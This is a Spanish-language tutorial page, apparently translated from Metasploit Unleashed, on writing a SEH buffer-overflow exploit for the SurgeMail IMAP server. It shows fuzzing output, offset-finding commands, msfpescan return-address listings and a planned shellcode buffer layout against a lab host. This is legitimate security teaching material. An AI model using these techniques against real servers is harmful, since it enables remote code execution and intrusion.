Escribiendo un Exploit

De www.metasploit-es.com.ar

Hacer que algo haga "BOOM":

Previamente vimos fuzzing a un servidor IMAP en la sección simple fuzzer IMAP. Al final de ese esfuerzo nos encontramos con que se podía sobrescribir EIP, haciendo ESP el único registro que apunta a una ubicación de memoria bajo nuestro control (4 bytes después de nuestra dirección de retorno).Podemos seguir adelante y reconstruir nuestro búfer (fuzzed = "A"*1004 + "B"*4 + "C"*4) para confirmar que el flujo ejecución es re-direccionable a través de la dirección a JMP ESP como un ret.

msf auxiliary(fuzz_imap) > run
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1012
[*] 0002 LIST () /"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]BBBBCCCC" "PWNED"
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] It seems that host is not responding anymore and this is G00D ;)
[*] Auxiliary module execution completed
msf auxiliary(fuzz_imap) >

Controlando el flujo de ejecución:

Ahora tenemos que determinar el offset correcto para obtener la ejecución de código. Afortunadamente, Metasploit, viene al rescate con dos muy buenas utilidades: pattern_create.rb y pattern_offset.rb. Ambos de estos scripts están localizados el directorio Metasploit 'tools'. Mediante la ejecución de pattern_create.rb, el script generara una cadena de texto compuesta por los patrones únicos que podríamos utilizar para para remplazar nuestra secuencia de 'A's.

root@bt4:~# /pentest/exploits/framework3/tools/pattern_create.rb 11000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5[...]

Después de que hemos logrado sobrescribir el EIP o el SEH (o cualquier registro que este destinado), debemos tomar nota del valor contenido en el registro y la alimentación de este valor a pattern_offset.rb para determinar en qué punto de la cadena aleatoria el valor aparece. En lugar de llamar a la línea de comandos pattern_create.rb,vamos a llamar a la subyacente API directamente en nuestro fuzzer utilizando el Rex::Text.pattern_create(). Si nos fijamos en la fuente, podemos ver cómo se llama esta función.

 def self.pattern_create(length, sets = [ UpperAlpha, LowerAlpha, Numerals ])
        buf = ''
        idx = 0
        offsets = []
        sets.length.times { offsets << 0 }
        until buf.length >= length
                begin
                        buf << converge_sets(sets, 0, offsets, length)
                rescue RuntimeError
                        break
                end
        end
        # Maximum permutations reached, but we need more data
        if (buf.length < length)
                buf = buf * (length / buf.length.to_f).ceil
        end
        buf[0,length]
end

Así vemos que llamamos la función pattern_create el cual tendrá en la mayoría dos parámetros el tamaño del búfer que estamos buscando para crear y un segundo parámetro opcional que nos da cierto control sobre el contenido de la memoria intermedia. Así que para nuestras necesidades, vamos a llamar a la función y sustituir la variable fuzzed con:

fuzzed = Rex::Text.pattern_create(11000).

Esto hace que nuestro SEH a ser sobrescrito por 0x684E3368 y basado en el valor devuelto por pattern_offset.rb, podemos determinar que los bytes que sobrescribe nuestro manejador de excepciones son los próximos cuatro bytes 10361, 10362, 10363, 10364.

root@bt4:~# /pentest/exploits/framework3/tools/pattern_offset.rb 684E3368 11000
10360

Como sucede a menudo en los ataques de desbordamiento (overflow) de SEH, ahora tenemos que encontrar un POP POP RET (otras secuencias son buenas, así como se explica en el Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server" Litchfield 2003) dirección, a fin de redirigir el flujo de ejecución a nuestro Buffer. Sin embargo, la búsqueda de una dirección de retorno adecuada en surgemail.exe, obviamente, nos lleva al problema encontrado anteriormente, todas las direcciones tienen un byte nulo.

root@bt4:~# /pentest/exploits/framework3/msfpescan -p surgemail.exe
[surgemail.exe]
0x0042e947 pop esi; pop ebp; ret
0x0042f88b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x00537506 pop esi; pop ebp; ret
0x005ec087 pop ebx; pop ebp; ret
0x00780b25 pop ebp; pop ebx; ret
0x00780c1e pop ebp; pop ebx; ret
0x00784fb8 pop ebx; pop ebp; ret
0x0078506e pop ebx; pop ebp; ret
0x00785105 pop ecx; pop ebx; ret
0x0078517e pop esi; pop ebx; ret

Afortunadamente esta vez tenemos un remoto acercamiento de ataque para tratar en la forma de una sobrescritura parcial, desbordando el SEH con sólo los 3 bytes más significativos de la dirección de retorno. La diferencia es que esta vez podemos poner nuestro shellcode dentro de la primera parte del Buffer después de un esquema como el siguiente:

| NOPSLED | SHELLCODE | NEARJMP | SHORTJMP | RET (3 Bytes) |

POP POP RET nos re-direccionará 4 bytes antes de RET donde vamos a colocar un JMP corto que nos devolverá 5 bytes. Entonces tendremos un JMP hacia atrás que nos llevará en el centro de la NOPSLED. Esto no fue posible de hacer con una sobrescritura parcial del EIP y el ESP, como debido al arreglo de pila ESP fue de cuatro bytes después de nuestra RET. Si hiciéramos una sobrescritura parcial de la EIP, ESP estaría en una área incontrolable.


Herramientas personales